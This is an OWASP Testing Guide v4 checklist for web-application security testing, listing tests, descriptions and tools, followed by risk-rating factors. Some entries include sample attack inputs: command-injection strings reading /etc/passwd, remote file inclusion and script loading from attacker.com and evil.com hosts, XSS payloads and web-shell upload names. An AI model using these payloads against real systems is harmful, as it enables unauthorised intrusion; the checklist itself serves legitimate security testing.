

Simplified Testing Guide v4 Checklist and

By Prathan Phongthiproek, Timo Pagel

More Information: <https://kennel209.gitbooks.io/owasp-testing-guide-v4/>

https://www.owasp.org/images/7/78/OWASP_AlphaRelease_CodeReviewGuide2.0.pdf

Information Gathering	Test Name	Description	Tools	Done
OTG-INFO-002	Fingerprint Web Server	Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits. Using "HTTP header field ordering" and "Malformed requests test".	Httpprint, Httprecon, Desenmascarama	
OTG-INFO-003	Review Webserver Metafiles for Information Leakage	Analyze robots.txt and identify <META> Tags from website.	Browser, curl, wget	
OTG-INFO-004	Enumerate Applications on Webserver	Find applications hosted in the webserver (Virtual hosts/Subdomain), non-standard ports, DNS zone transfers	Webhosting.info, dnsrecon, Nmap, fierce, Recon-ng, Intrigue	
OTG-INFO-005	Review Webpage Comments and Metadata for Information Leakage	Find sensitive information from webpage comments and Metadata on source code.	Browser, curl, wget	
OTG-INFO-006	Identify application entry points	Identify from hidden fields, parameters, methods HTTP header analysis	Burp proxy, ZAP, Tamper data	
OTG-INFO-007	Map execution paths through application	Map the target application and understand the principal workflows.	Burp proxy, ZAP	
OTG-INFO-008	Fingerprint Web Application Framework	Find the type of web application framework/CMS from HTTP headers, Cookies, Source code, Specific files and folders.	Whatweb, BlindElephant, Wappalyzer, Whatweb,	
OTG-INFO-009	Fingerprint Web Application	Identify the web application and version to determine known vulnerabilities and the appropriate exploits.	BlindElephant, Wappalyzer, CMSmap	
OTG-INFO-010	Map Application Architecture	Identify application architecture including Web language, WAF, Reverse proxy, Application Server, Backend Database	Browser, curl, wget	

Configuration and Deploy Management Testing	Test Name	Description	Tools	Done
OTG-CONFIG-001	Test Network/Infrastructure Configuration	<i>Understand the infrastructure elements interactions, config management for software, backend DB server, WebDAV, FTP in order to identify known vulnerabilities.</i>	Nessus, Inscan, WAP	
OTG-CONFIG-002	Test Application Platform Configuration	<i>Identify default installation file/directory, Handle Server errors (40*,50*), Minimal Privilege, Software logging.</i>	Browser, Nikto	
OTG-CONFIG-003	Test File Extensions Handling for Sensitive Information	<i>Find important file, information (.asa , .inc , .sql ,zip, tar, pdf, txt, etc)</i>	Browser, Nikto	
OTG-CONFIG-004	Backup and Unreferenced Files for Sensitive Information	<i>Check JS source code, comments, cache file, backup file (.old, .bak, .inc, .src) and guessing of filename</i>	Nessus, Nikto, Wikto	
OTG-CONFIG-005	Enumerate Infrastructure and Application Admin Interfaces	<i>Directory and file enumeration, comments and links in source (/admin, /administrator, /backoffice, /backend, etc), alternative server port (Tomcat/8080)</i>	Burp Proxy, dirb, Dirbuster, fuzzdb, Tilde Scanner	
OTG-CONFIG-006	Test HTTP Methods	<i>Identify HTTP allowed methods on Web server with OPTIONS. Arbitrary HTTP Methods, HEAD access control bypass and XST</i>	netcat, curl	
OTG-CONFIG-tpage	Test for Known Vulnerabilities Server Side	<i>Test for dependencies with known vulnerabilities</i>	Sensio Labs Security Checker	

Identity Management Testing	Test Name	Description	Tools	Done
OTG-IDENT-001	Test Role Definitions	<i>Validate the system roles defined within the application by creating permission matrix.</i>	<i>Burp Proxy, ZAP</i>	
OTG-IDENT-002	Test User Registration Process	<i>Verify that the identity requirements for user registration are aligned with business and security requirements:</i>	<i>Burp Proxy, ZAP</i>	
OTG-IDENT-004	Testing for Account Enumeration and Guessable User Account	<i>Generic login error statement check, return codes/parameter values, enumerate all possible valid userids (Login system, Forgot password)</i>	<i>Browser, Burp Proxy, ZAP</i>	
OTG-IDENT-005	Testing for Weak or unenforced username policy	<i>User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.</i>	<i>Browser, Burp Proxy, ZAP</i>	
OTG-IDENT-006	Test Permissions of Guest/Training Accounts	<i>Guest and Training accounts are useful ways to acquaint potential users with system functionality prior to them completing the authorisation process required for access. Evaluate consistency between access policy and guest/training account access permissions.</i>	<i>Burp Proxy, ZAP</i>	
OTG-IDENT-007	Test Account Suspension/Resumption Process	<i>Verify the identity requirements for user registration align with business/security requirements. Validate the registration process.</i>	<i>Burp Proxy, ZAP</i>	

Authentication Testing	Test Name	Description	Tools	Done
OTG-AUTHN-001	Testing for Credentials Transported over an Encrypted Channel	Check referrer whether its HTTP or HTTPS. Sending data through HTTP and HTTPS.	Burp Proxy, ZAP	
OTG-AUTHN-002	Testing for default credentials	Testing for default credentials of common applications, Testing for default password of new accounts.	Burp Proxy, ZAP, Hydra	
OTG-AUTHN-003	Testing for Weak lock out mechanism	Evaluate the account lockout mechanism's ability to mitigate brute force password guessing. Evaluate the unlock mechanism's resistance to unauthorized account unlocking.	Browser	
OTG-AUTHN-004	Testing for bypassing authentication schema	Force browsing (/admin/main.php, /page.asp? authenticated=yes), Parameter Modification, Session ID prediction, SQL Injection	Burp Proxy, ZAP	
OTG-AUTHN-005	Test remember password functionality	Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed. Autocompleted=off?	Burp Proxy, ZAP	
OTG-AUTHN-006	Testing for Browser cache weakness	Check browser history issue by clicking "Back" button after logging out. Check browser cache issue from HTTP response headers (Cache-Control: no-cache)	Burp Proxy, ZAP, Firefox add-on CacheViewer2	
OTG-AUTHN-007	Testing for Weak password policy	Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.	Burp Proxy, ZAP, Hydra	
OTG-AUTHN-009	Testing for weak password change or reset functionalities	Test password reset (Display old password in plain-text?, Send via email?, Random token on confirmation email ?), Test password change (Need old password?), CSRF vulnerability ?	Browser, Burp Proxy, ZAP	

Authorization Testing	Test Name	Description	Tools	Done
OTG-AUTHZ-001	Testing Directory traversal/file include	<i>dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote File Inclusion.</i>	<i>Burp Proxy, ZAP, Wfuzz, WAP</i>	
OTG-AUTHZ-002	Testing for bypassing authorization schema	<i>Access a resource without authentication?, Bypass ACL, Force browsing (/admin/adduser.jsp)</i>	<i>Burp Proxy (Authorize), ZAP</i>	
OTG-AUTHZ-003	Testing for Privilege Escalation	<i>Testing for role/privilege manipulate the values of hidden variables. Change some param groupid=2 to groupid=1</i>	<i>Burp Proxy (Authorize), ZAP</i>	
OTG-AUTHZ-004	Testing for Insecure Direct Object References	<i>Force changing parameter value (?invoice=123 -> ?invoice=456)</i>	<i>Burp Proxy (Authorize), ZAP</i>	
CODE-AUTHZ-01	Testing for password expiration	<i>Does application support password expiration?</i>	<i>Browser</i>	
CODE-AUTHZ-02	Testing for user privileges documentation	<i>User and role based privileges are documented</i>		

Data Validation Testing	Test Name	Description	Tools	Done
OTG-INPVAL-001	Testing for Reflected Cross Site Scripting	<i>Check for input validation, Replace the vector used to identify XSS, XSS with HTTP Parameter Pollution.</i>	<i>Burp Proxy, ZAP, Xenotix XSS, pixy, RIPS, WAP</i>	
OTG-INPVAL-002	Testing for Stored Cross Site Scripting	<i>Check input forms/Upload forms and analyze HTML codes</i>	<i>Burp Proxy, ZAP, BeEF, XSS Proxy, pixy, RIPS, WAP</i>	
OTG-INPVAL-003	Testing for HTTP Verb Tampering	<i>Craft custom HTTP requests to test the other methods to bypass URL authentication and authorization.</i>	<i>netcat, ZAP</i>	
OTG-INPVAL-005	MySQL Testing	<i>Identify MySQL version, Single quote, Information_schema, Read/Write file.</i>	<i>SQLMap, Mysqloit, Power Injector, RIPS</i>	
OTG-INPVAL-007	Testing for ORM Injection	<i>Testing ORM injection is identical to SQL injection testing</i>	<i>Hibernate, Nhibernate</i>	
OTG-INPVAL-008	Testing for XML Injection	<i>Check with XML Meta Characters ' , " , <> , <!-- --> , & , <![CDATA[/]]> , XXE, TAG</i>	<i>Burp Proxy, ZAP, Wfuzz, RIPS</i>	
OTG-INPVAL-011	IMAP/SMTP Injection	<ul style="list-style-type: none"> • Identifying vulnerable parameters with special characters (i.e.: \, , , " , @, #, !,) • Understanding the data flow and deployment structure of the client • IMAP/SMTP command injection (Header, Body, Footer) 	<i>Burp Proxy, ZAP</i>	

OTG-INPVAL-012	Testing for Code Injection	Enter OS commands in the input field. <code>?arg=1; system('id')</code>	Burp Proxy, ZAP, Liffy, Panoptic, RIPS
	Testing for Local File Inclusion	LFI with dot-dot-slash (../), PHP Wrapper (<code>php://filter/convert.base64-encode/resource</code>); Is <code>open_basedir</code> set in server configuration?	Burp Proxy, fimap, Liffy, RIPS
	Testing for Remote File Inclusion	RFI from malicious URL <code>?page.php?file=http://attacker.com/malicious_page</code>	Burp Proxy, fimap, Liffy
OTG-INPVAL-013	Testing for Command Injection	Understand the application platform, OS, folder structure, relative path and execute OS commands on a Web server. <code>%3Bcat%20/etc/passwd</code> <code>test.pdf+ +Dir C:\</code>	Burp Proxy, ZAP, Commix
CODE-INPUTVAL-01	Testing of Input Validation for all requests	Does the centralized validation get applied to all requests and all the inputs?	
CODE-INPUTVAL-02	Testing of centralized validation check	Does the centralized validation check block all the special characters?	
CODE-INPUTVAL-03	Testing for untrusted inputs (e.g. external s	Are all the untrusted inputs validated? Input data is constrained and validated for type, length, format, and range.	

Session Management Testing	Test Name	Description	Tools	Done
OTG-SESS-002	Testing for Cookies attributes	Check HTTPOnly and Secure flag, expiration, inspect for sensitive data.	Burp Proxy, ZAP	
OTG-SESS-003	Testing for Session Fixation	The application doesn't renew the cookie after a successfully user authentication.	Burp Proxy, ZAP	
OTG-SESS-005	Testing for Cross Site Request Forgery	URL analysis, Direct access to functions without any token.	ZAP	
OTG-SESS-006	Testing for logout functionality	Check reuse session after logout both server-side and SSO.	Burp Proxy, ZAP	
CODE-SESS-01	Testing for Sessions in URLs	No session parameters are passed in URLs		
CODE-SESS-02	Testing for session storage	Session storage is secure		
CODE-SESS-03	Testing for session timeouts	Session inactivity timeouts are enforced		

Error Handling	Test Name	Description	Tools	Done
OTG-ERR-001	Analysis of Error Codes	Locate error codes generated from applications or web servers. Collect sensitive information from that errors (Web Server, Application Server, Database)	Burp Proxy, ZAP	
OTG-ERR-002	Analysis of Stack Traces	<ul style="list-style-type: none"> • Invalid Input / Empty inputs • Input that contains non alphanumeric characters or query syntax • Access to internal pages without authentication • Bypassing application flow 	Burp Proxy, ZAP	

Cryptography	Test Name	Description	Tools	Done
OTG-CRYPST-001	Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection	Identify SSL service, Identify weak ciphers/protocols (ie. RC4, BEAST, CRIME, POODLE)	testssl.sh, SSL Breacher	
OTG-CRYPST-003	Testing for Sensitive information sent via unencrypted channels	Check sensitive data during the transmission: • Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies...) • Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)	Burp Proxy, ZAP, Curl	
CODE-CRYPT-01	Testing for resend cryptographic functions	Are cryptographic functions used by the application the most recent version of these protocols, patched and process in place to keep them updated? (e.g. password hashes)		
CODE-CRYPT-01	Testing for encrypted credentials	Are database credentials stored in an encrypted format		
CODE-CRYPT-02	Testing for unencrypted channels	Is the data sent on encrypted channel? Does the application use HTTPClient for making external connections?	Proxy	
CODE-CRYPT-03	Testing for keys in code	Keys are not held in code.		

Logging and Audit	Test Name	Description	Tools	Result
CODE-LOG-01	Test of sensitive information in logs	Are logs logging personal information, passwords or other sensitive information?		
CODE-LOG-02	Test for logging of connections	Do audit logs log connection attempts (both successful and failures)?		
CODE-LOG-03	Test for logs with malicious behaviors	Is there a process(s) in place to read audit logs for unintended/malicious behaviors?		

Business logic Testing	Test Name	Description	Tools	Done
OTG-BUSLOGIC-001	Test Business Logic Data Validation	<ul style="list-style-type: none"> • Looking for data entry points or hand off points between systems or software. • Once found try to insert logically invalid data into the application/system. 	Burp Proxy, ZAP	
OTG-BUSLOGIC-002	Test Ability to Forge Requests	<ul style="list-style-type: none"> • Looking for guessable, predictable or hidden functionality of fields. • Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal business logic workflow. 	Burp Proxy, ZAP	
OTG-BUSLOGIC-003	Test Integrity Checks	<ul style="list-style-type: none"> • Looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information. • For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component. • Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that should not be allowed per the business logic workflow. 	Burp Proxy, ZAP	
OTG-BUSLOGIC-004	Test for Process Timing	<ul style="list-style-type: none"> • Looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time. • Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing. 	Burp Proxy, ZAP	
OTG-BUSLOGIC-005	Test Number of Times a Function Can be Used Limits	<ul style="list-style-type: none"> • Looking for functions or features in the application or system that should not be executed more than a single time or specified number of times during the business logic workflow. • For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. 	Burp Proxy, ZAP	

OTG-BUSLOGIC-006	Testing for the Circumvention of Work Flows	<ul style="list-style-type: none"> • Looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow. • For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow. 	Burp Proxy, ZAP
OTG-BUSLOGIC-007	Test Defenses Against Application Mis-use	<p>Measures that might indicate the application has in-built self-defense:</p> <ul style="list-style-type: none"> • Changed responses • Blocked requests • Actions that log a user out or lock their account 	Burp Proxy, ZAP
OTG-BUSLOGIC-008	Test Upload of Unexpected File Types	<ul style="list-style-type: none"> • Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system. • Try to upload these "unsupported" files an verify that it are properly rejected. • If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. <p>PS. file.phtml, shell.phPWND, SHELL~1.PHP</p>	Burp Proxy, ZAP
OTG-BUSLOGIC-009	Test Upload of Malicious Files	<ul style="list-style-type: none"> • Develop or acquire a known "malicious" file. • Try to upload the malicious file to the application/system and verify that it is correctly rejected. • If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. 	Burp Proxy, ZAP
CODE-BUSLOG-01	Test for system privileges	Does the design use any elevated OS/system privileges for external connections/commands?	
CODE-BUSLOG-02	Test for reduced privileges	Are privileges reduce whenever possible?	
CODE-BUSLOG-03	Testing for protected classes	Classes that contain security secrets (like passwords) are only accessible through protected API's	
CODE-BUSLOG-04	Testing for server side validation	Data is validated on server side	
CODE-BUSLOG-05	Testing for XML schema	Is all XML input data validated against an agreed schema?	
CODE-BUSLOG-06	Testing for output validation	Is output that contains untrusted data supplied input have the correct type of encoding (URL encoding, HTML encoding)?	

Client Side Testing	Test Name	Description	Tools	Result
OTG-CLIENT-001	Testing for DOM based Cross Site Scripting	Test for the user inputs obtained from client-side JavaScript Objects	Burp Proxy, DOMinator, jsprime, eslint	
OTG-CLIENT-002	Testing for JavaScript Execution	Inject JavaScript code: www.victim.com/?javascript:alert(1)	Burp Proxy, ZAP, eslint	
OTG-CLIENT-003	Testing for HTML Injection	Send malicious HTML code: ?user=<img%20src='aaa'%20onerror=alert(1)>	Burp Proxy, ZAP	
OTG-CLIENT-004	Testing for Client Side URL Redirect	Modify untrusted URL input to a malicious site: (Open Redirect) ?redirect=www.fake-target.site	Burp Proxy, ZAP	
OTG-CLIENT-005	Testing for CSS Injection	Inject code in the CSS context : • www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12]) • www.victim.com/#red;:-expression(alert(URL=1)); (IE 7/8)	Burp Proxy, ZAP	
OTG-CLIENT-006	Testing for Client Side Resource Manipulation	External JavaScript could be easily injected in the trusted web site www.victim.com/#http://evil.com/js.js	Burp Proxy, ZAP	
OTG-CLIENT-007	Test Cross Origin Resource Sharing	Check the HTTP headers in order to understand how CORS is used (Origin Header)	Burp Proxy, ZAP	
OTG-CLIENT-009	Testing for Clickjacking	Discover if a website is vulnerable by loading into an iframe, create simple web page that includes a frame containing the target.	Burp Proxy, ClickjackingTool	
OTG-CLIENT-011	Test Web Messaging	Analyse JavaScript code looking for how Web Messaging is implemented. How the website is restricting messages from untrusted domain and how the data is handled even for trusted domains	Burp Proxy, ZAP	
OTG-CLIENT-012	Test Local Storage	Determine whether the website is storing sensitive data in the storage. XSS in localStorage http://server/StoragePOC.html#	Chrome, Firebug, Burp Proxy, ZAP	
CODE-CLIENT-01	Test for Known Vulnerabilities Client Side	Test for dependencies with known vulnerabilities	retire.js	
CODE-CLIENT-02	Testing of output encoding	Has the correct encoding been applied to all data being output by the application		
CODE-CLIENT-03	Testing for WSDL validity	Web service endpoints address in Web Services Description Language (WSDL) is checked for validity		

Considerations

Skills required

Not Applicable
Security penetration skills
Network and programming skills
Advanced computer user
Some technical skills
no technical skills

Loss of confidentiality

Not Applicable
Minimal non-sensitive data disclosed
Extensive non-sensitive data disclosed
Extensive critical data disclosed
All data disclosed

Intrusion Detection

Not Applicable
Active detection in application
Logged and reviewed
Logged without review
Not logged

Financial damage

Not Applicable
Damage costs less than to fix the issue
Minor effect on annual profit
Significant effect on annual profit
Bankruptcy

Motive

Not Applicable
Low or no reward
Possible reward
High reward

Loss of Integrity

Not Applicable
Minimal slightly corrupt data
Minimal seriously corrupt data
Extensive slightly corrupt data
Extensive seriously corrupt data
All data totally corrupt

Privacy violation

Not Applicable
One individual
Hundreds of people
Thousands of people
Millions of people

Reputation damage

Not Applicable
Minimal damage
Loss of major accounts
Loss of goodwill
Brand damage

Opportunity

Full access or expensive resources required
Special access or resources required
Some access or resources required
No access or resources required

Loss of Availability

Not Applicable
Minimal secondary services interrupted
Minimal primary services interrupted
Extensive primary services interrupted
All services completely lost

Loss of Accountability

Not Applicable
Attack fully traceable to individual
Attack possibly traceable to individual
Attack completely anonymous

Non-Compliance

Not Applicable
Minor violation
Clear violation
High profile violation

Population Size

- Not Applicable
- System Administrators
- Intranet Users
- Partners
- Authenticated users
- Anonymous Internet users

Easy of Discovery

- Not Applicable
- Practically impossible
- Difficult
- Easy
- Automated tools available

Ease of Exploit

- Not Applicable
- Theoretical
- Difficult
- Easy
- Automated tools available

Awareness

- Not Applicable
- Unknown
- Hidden
- Obvious
- Public knowledge